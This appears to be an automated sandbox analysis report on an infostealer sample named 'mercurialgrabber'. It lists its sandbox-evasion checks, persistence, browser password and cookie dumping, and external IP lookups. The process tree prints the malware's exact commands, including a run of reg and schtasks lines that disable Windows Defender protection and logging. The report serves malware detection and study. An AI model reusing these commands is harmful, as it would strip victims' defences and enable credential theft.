mercurialgrabber | 3cba4eee46de013015a57f5953dbcff23376ff403b5905d729a3034ae9956e97

Virtualization/Sandbox Evasion

Processes:

ANTIVIRUS.EXEWINDOWS DEFENDER.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	ANTIVIRUS.EXE
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	WINDOWS DEFENDER.EXE

NirSoft WebBrowserPassView 4 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\REGISTRY.EXE	WebBrowserPassView
C:\Users\Admin\AppData\Roaming\REGISTRY.EXE	WebBrowserPassView
behavioral2/memory/4312-145-0x0000000000430000-0x00000000008CC000-memory.dmp	WebBrowserPassView
behavioral2/memory/2080-213-0x00000000009B0000-0x0000000000E2A000-memory.dmp	WebBrowserPassView

Nirsoft 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\REGISTRY.EXE	Nirsoft
C:\Users\Admin\AppData\Roaming\REGISTRY.EXE	Nirsoft
behavioral2/memory/4312-145-0x0000000000430000-0x00000000008CC000-memory.dmp	Nirsoft
behavioral2/memory/2080-213-0x00000000009B0000-0x0000000000E2A000-memory.dmp	Nirsoft
behavioral2/memory/4400-285-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral2/memory/2736-286-0x0000000000400000-0x000000000041B000-memory.dmp	Nirsoft

Executes dropped EXE 13 IoCs

Processes:

ANTIVIRUS.EXEPROTECTION.EXEREGISTRY.EXEVIRUS .EXEWINDOWS DEFENDER.EXEPROTECTION.EXERtkBtManServ.exebfsvc.exesnuvcdsm.exewinhlp32.exesplwow64.exehh.exexwizard.exe

pid	process
3148	ANTIVIRUS.EXE
1864	PROTECTION.EXE
4312	REGISTRY.EXE
920	VIRUS .EXE
3496	WINDOWS DEFENDER.EXE
4444	PROTECTION.EXE
2080	RtkBtManServ.exe
768	bfsvc.exe
1208	snuvcdsm.exe
4400	winhlp32.exe
2736	splwow64.exe
4124	hh.exe
516	xwizard.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

ANTIVIRUS.EXEWINDOWS DEFENDER.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	ANTIVIRUS.EXE
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	WINDOWS DEFENDER.EXE

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/4400-285-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral2/memory/2736-286-0x0000000000400000-0x000000000041B000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

ANTIVIRUS.EXEWINDOWS DEFENDER.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ANTIVIRUS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WINDOWS DEFENDER.EXE

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

WScript.exeWScript.exeimage grabber.exeREGISTRY.EXEVIRUS .EXERtkBtManServ.exeWScript.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	image grabber.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	REGISTRY.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	VIRUS .EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	RtkBtManServ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

Processes:

REGISTRY.EXE

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager8703346.exe	REGISTRY.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager8703346.exe	REGISTRY.EXE

Loads dropped DLL 50 IoCs

Processes:

PROTECTION.EXE

pid	process
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE
4444	PROTECTION.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ANTIVIRUS.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bootstrapper = "C:\\Users\\Admin\\AppData\\Roaming\\Bootstrapper\\ANTIVIRUS.EXE"	ANTIVIRUS.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip4.seeip.org
11 ip-api.com
16 ipinfo.io
23 ipecho.net
24 ipecho.net
5 checkip.dyndns.org
7 ip4.seeip.org

flow	ioc
10	ip4.seeip.org
11	ip-api.com
16	ipinfo.io
23	ipecho.net
24	ipecho.net
5	checkip.dyndns.org
7	ip4.seeip.org

Maps connected drives based on registry 3 TTPs 4 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

ANTIVIRUS.EXEWINDOWS DEFENDER.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	ANTIVIRUS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	WINDOWS DEFENDER.EXE
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	WINDOWS DEFENDER.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	ANTIVIRUS.EXE

Detects Pyinstaller 3 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\PROTECTION.EXE	pyinstaller
C:\Users\Admin\AppData\Roaming\PROTECTION.EXE	pyinstaller
C:\Users\Admin\AppData\Roaming\PROTECTION.EXE	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2448 3148 WerFault.exe ANTIVIRUS.EXE

pid	pid_target	process	target process
2448	3148	WerFault.exe	ANTIVIRUS.EXE

Checks SCSI registry key(s) 3 TTPs 2 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

ANTIVIRUS.EXEWINDOWS DEFENDER.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	ANTIVIRUS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	WINDOWS DEFENDER.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

WINDOWS DEFENDER.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINDOWS DEFENDER.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINDOWS DEFENDER.EXE

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

Processes:

WINDOWS DEFENDER.EXEANTIVIRUS.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	WINDOWS DEFENDER.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	WINDOWS DEFENDER.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	WINDOWS DEFENDER.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	ANTIVIRUS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	ANTIVIRUS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	ANTIVIRUS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	ANTIVIRUS.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	WINDOWS DEFENDER.EXE

Modifies registry class 2 IoCs

Processes:

REGISTRY.EXERtkBtManServ.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000_Classes\Local Settings	REGISTRY.EXE
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000_Classes\Local Settings	RtkBtManServ.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

816 PING.EXE

pid	process
816	PING.EXE

Suspicious behavior: EnumeratesProcesses 15 IoCs

Processes:

snuvcdsm.exehh.exexwizard.exeRtkBtManServ.exe

pid	process
1208	snuvcdsm.exe
1208	snuvcdsm.exe
1208	snuvcdsm.exe
1208	snuvcdsm.exe
4124	hh.exe
4124	hh.exe
516	xwizard.exe
516	xwizard.exe
516	xwizard.exe
516	xwizard.exe
516	xwizard.exe
516	xwizard.exe
516	xwizard.exe
516	xwizard.exe
2080	RtkBtManServ.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

ANTIVIRUS.EXEWINDOWS DEFENDER.EXEVIRUS .EXEWMIC.exeRtkBtManServ.exe

description	pid	process
Token: SeDebugPrivilege	3148	ANTIVIRUS.EXE
Token: SeDebugPrivilege	3496	WINDOWS DEFENDER.EXE
Token: SeDebugPrivilege	920	VIRUS .EXE
Token: SeIncreaseQuotaPrivilege	4652	WMIC.exe
Token: SeSecurityPrivilege	4652	WMIC.exe
Token: SeTakeOwnershipPrivilege	4652	WMIC.exe
Token: SeLoadDriverPrivilege	4652	WMIC.exe
Token: SeSystemProfilePrivilege	4652	WMIC.exe
Token: SeSystemtimePrivilege	4652	WMIC.exe
Token: SeProfSingleProcessPrivilege	4652	WMIC.exe
Token: SeIncBasePriorityPrivilege	4652	WMIC.exe
Token: SeCreatePagefilePrivilege	4652	WMIC.exe
Token: SeBackupPrivilege	4652	WMIC.exe
Token: SeRestorePrivilege	4652	WMIC.exe
Token: SeShutdownPrivilege	4652	WMIC.exe
Token: SeDebugPrivilege	4652	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4652	WMIC.exe
Token: SeRemoteShutdownPrivilege	4652	WMIC.exe
Token: SeUndockPrivilege	4652	WMIC.exe
Token: SeManageVolumePrivilege	4652	WMIC.exe
Token: 33	4652	WMIC.exe
Token: 34	4652	WMIC.exe
Token: 35	4652	WMIC.exe
Token: 36	4652	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4652	WMIC.exe
Token: SeSecurityPrivilege	4652	WMIC.exe
Token: SeTakeOwnershipPrivilege	4652	WMIC.exe
Token: SeLoadDriverPrivilege	4652	WMIC.exe
Token: SeSystemProfilePrivilege	4652	WMIC.exe
Token: SeSystemtimePrivilege	4652	WMIC.exe
Token: SeProfSingleProcessPrivilege	4652	WMIC.exe
Token: SeIncBasePriorityPrivilege	4652	WMIC.exe
Token: SeCreatePagefilePrivilege	4652	WMIC.exe
Token: SeBackupPrivilege	4652	WMIC.exe
Token: SeRestorePrivilege	4652	WMIC.exe
Token: SeShutdownPrivilege	4652	WMIC.exe
Token: SeDebugPrivilege	4652	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4652	WMIC.exe
Token: SeRemoteShutdownPrivilege	4652	WMIC.exe
Token: SeUndockPrivilege	4652	WMIC.exe
Token: SeManageVolumePrivilege	4652	WMIC.exe
Token: 33	4652	WMIC.exe
Token: 34	4652	WMIC.exe
Token: 35	4652	WMIC.exe
Token: 36	4652	WMIC.exe
Token: SeDebugPrivilege	2080	RtkBtManServ.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

image grabber.exePROTECTION.EXEREGISTRY.EXEVIRUS .EXEPROTECTION.EXEcmd.exeANTIVIRUS.EXEcmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4960 wrote to memory of 3148	4960	image grabber.exe	ANTIVIRUS.EXE
PID 4960 wrote to memory of 3148	4960	image grabber.exe	ANTIVIRUS.EXE
PID 4960 wrote to memory of 1864	4960	image grabber.exe	PROTECTION.EXE
PID 4960 wrote to memory of 1864	4960	image grabber.exe	PROTECTION.EXE
PID 4960 wrote to memory of 4312	4960	image grabber.exe	REGISTRY.EXE
PID 4960 wrote to memory of 4312	4960	image grabber.exe	REGISTRY.EXE
PID 4960 wrote to memory of 4312	4960	image grabber.exe	REGISTRY.EXE
PID 4960 wrote to memory of 920	4960	image grabber.exe	VIRUS .EXE
PID 4960 wrote to memory of 920	4960	image grabber.exe	VIRUS .EXE
PID 4960 wrote to memory of 3496	4960	image grabber.exe	WINDOWS DEFENDER.EXE
PID 4960 wrote to memory of 3496	4960	image grabber.exe	WINDOWS DEFENDER.EXE
PID 1864 wrote to memory of 4444	1864	PROTECTION.EXE	PROTECTION.EXE
PID 1864 wrote to memory of 4444	1864	PROTECTION.EXE	PROTECTION.EXE
PID 4312 wrote to memory of 2080	4312	REGISTRY.EXE	RtkBtManServ.exe
PID 4312 wrote to memory of 2080	4312	REGISTRY.EXE	RtkBtManServ.exe
PID 4312 wrote to memory of 2080	4312	REGISTRY.EXE	RtkBtManServ.exe
PID 920 wrote to memory of 3080	920	VIRUS .EXE	cmd.exe
PID 920 wrote to memory of 3080	920	VIRUS .EXE	cmd.exe
PID 4444 wrote to memory of 32	4444	PROTECTION.EXE	cmd.exe
PID 4444 wrote to memory of 32	4444	PROTECTION.EXE	cmd.exe
PID 4312 wrote to memory of 4752	4312	REGISTRY.EXE	cmd.exe
PID 4312 wrote to memory of 4752	4312	REGISTRY.EXE	cmd.exe
PID 4312 wrote to memory of 4752	4312	REGISTRY.EXE	cmd.exe
PID 3080 wrote to memory of 2904	3080	cmd.exe	chcp.com
PID 3080 wrote to memory of 2904	3080	cmd.exe	chcp.com
PID 4312 wrote to memory of 1692	4312	REGISTRY.EXE	cmd.exe
PID 4312 wrote to memory of 1692	4312	REGISTRY.EXE	cmd.exe
PID 4312 wrote to memory of 1692	4312	REGISTRY.EXE	cmd.exe
PID 3148 wrote to memory of 1736	3148	ANTIVIRUS.EXE	netsh.exe
PID 3148 wrote to memory of 1736	3148	ANTIVIRUS.EXE	netsh.exe
PID 4444 wrote to memory of 3548	4444	PROTECTION.EXE	cmd.exe
PID 4444 wrote to memory of 3548	4444	PROTECTION.EXE	cmd.exe
PID 3548 wrote to memory of 2116	3548	cmd.exe	mode.com
PID 3548 wrote to memory of 2116	3548	cmd.exe	mode.com
PID 3080 wrote to memory of 4424	3080	cmd.exe	netsh.exe
PID 3080 wrote to memory of 4424	3080	cmd.exe	netsh.exe
PID 3080 wrote to memory of 1652	3080	cmd.exe	findstr.exe
PID 3080 wrote to memory of 1652	3080	cmd.exe	findstr.exe
PID 1692 wrote to memory of 1880	1692	cmd.exe	choice.exe
PID 1692 wrote to memory of 1880	1692	cmd.exe	choice.exe
PID 1692 wrote to memory of 1880	1692	cmd.exe	choice.exe
PID 4752 wrote to memory of 1964	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 1964	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 1964	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 4400	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 4400	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 4400	4752	cmd.exe	reg.exe
PID 920 wrote to memory of 1832	920	VIRUS .EXE	cmd.exe
PID 920 wrote to memory of 1832	920	VIRUS .EXE	cmd.exe
PID 4752 wrote to memory of 4576	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 4576	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 4576	4752	cmd.exe	reg.exe
PID 1832 wrote to memory of 3516	1832	cmd.exe	chcp.com
PID 1832 wrote to memory of 3516	1832	cmd.exe	chcp.com
PID 4752 wrote to memory of 3216	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 3216	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 3216	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 516	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 516	4752	cmd.exe	reg.exe
PID 4752 wrote to memory of 516	4752	cmd.exe	reg.exe
PID 1832 wrote to memory of 2232	1832	cmd.exe	netsh.exe
PID 1832 wrote to memory of 2232	1832	cmd.exe	netsh.exe
PID 4444 wrote to memory of 1308	4444	PROTECTION.EXE	cmd.exe
PID 4444 wrote to memory of 1308	4444	PROTECTION.EXE	cmd.exe

C:\Users\Admin\AppData\Local\Temp\image grabber.exe
"C:\Users\Admin\AppData\Local\Temp\image grabber.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4960

C:\Users\Admin\AppData\Roaming\ANTIVIRUS.EXE
"C:\Users\Admin\AppData\Roaming\ANTIVIRUS.EXE"
2⤵
- Looks for VirtualBox Guest Additions in registry
- Executes dropped EXE
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Adds Run key to start application
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3148

C:\Windows\SYSTEM32\netsh.exe
"netsh" wlan show profile
3⤵
PID:1736

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3148 -s 1908
3⤵
- Program crash
PID:2448

C:\Users\Admin\AppData\Roaming\PROTECTION.EXE
"C:\Users\Admin\AppData\Roaming\PROTECTION.EXE"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1864

C:\Users\Admin\AppData\Roaming\PROTECTION.EXE
"C:\Users\Admin\AppData\Roaming\PROTECTION.EXE"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4444

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "ver"
4⤵
PID:32

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c mode con cols=70 lines=27
4⤵
- Suspicious use of WriteProcessMemory
PID:3548

C:\Windows\system32\mode.com
mode con cols=70 lines=27
5⤵
PID:2116

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path softwarelicensingservice get OA3xOriginalProductKey"
4⤵
PID:1308

C:\Windows\System32\Wbem\WMIC.exe
wmic path softwarelicensingservice get OA3xOriginalProductKey
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4652

C:\Users\Admin\AppData\Roaming\REGISTRY.EXE
"C:\Users\Admin\AppData\Roaming\REGISTRY.EXE"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops startup file
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4312

C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
"C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs7DjVagOKXYrLisRxTKRC2/30HSAwrRZtWfalG1Sq0/w1MnG7WOyYuHIpDTdO/8sP20c5gdv+f5YHHFmX+9TBujFxOCu6e5s/PiekkuGch/mFYxJ/87bL42eIZ64KOrIMs=
3⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
4⤵
- Checks computer location settings
PID:4748

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c compile.bat
5⤵
PID:32

C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
6⤵
- Executes dropped EXE
PID:768

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
4⤵
- Checks computer location settings
PID:3884

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c compile.bat
5⤵
PID:1136

C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1208

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
4⤵
- Checks computer location settings
PID:1940

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c compile.bat
5⤵
PID:2388

C:\Users\Admin\AppData\Local\Temp\winhlp32.exe
C:\Users\Admin\AppData\Local\Temp\winhlp32.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies1"
6⤵
- Executes dropped EXE
PID:4400

C:\Users\Admin\AppData\Local\Temp\hh.exe
C:\Users\Admin\AppData\Local\Temp\hh.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies3"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4124

C:\Users\Admin\AppData\Local\Temp\splwow64.exe
C:\Users\Admin\AppData\Local\Temp\splwow64.exe /stext "C:\Users\Admin\AppData\Local\Temp\Cookies2"
6⤵
- Executes dropped EXE
PID:2736

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
4⤵
- Checks computer location settings
PID:4344

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c compile.bat
5⤵
PID:1828

C:\Users\Admin\AppData\Local\Temp\xwizard.exe
C:\Users\Admin\AppData\Local\Temp\xwizard.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_History.txt"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:516

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe"
4⤵
PID:3520

C:\Windows\SysWOW64\choice.exe
choice /C Y /N /D Y /T 3
5⤵
PID:672

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
3⤵
- Suspicious use of WriteProcessMemory
PID:4752

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
4⤵
PID:1964

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
4⤵
PID:4400

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
4⤵
PID:4576

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
4⤵
PID:3216

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:516

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1572

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1124

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:2260

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1992

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
4⤵
PID:4276

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
4⤵
PID:960

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
4⤵
PID:2760

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
4⤵
PID:1068

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
4⤵
PID:2876

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
4⤵
PID:3460

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
4⤵
PID:4840

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
4⤵
PID:4280

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
4⤵
PID:3920

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
4⤵
PID:4020

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
4⤵
PID:3984

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
4⤵
PID:460

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
4⤵
PID:3596

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
4⤵
PID:3100

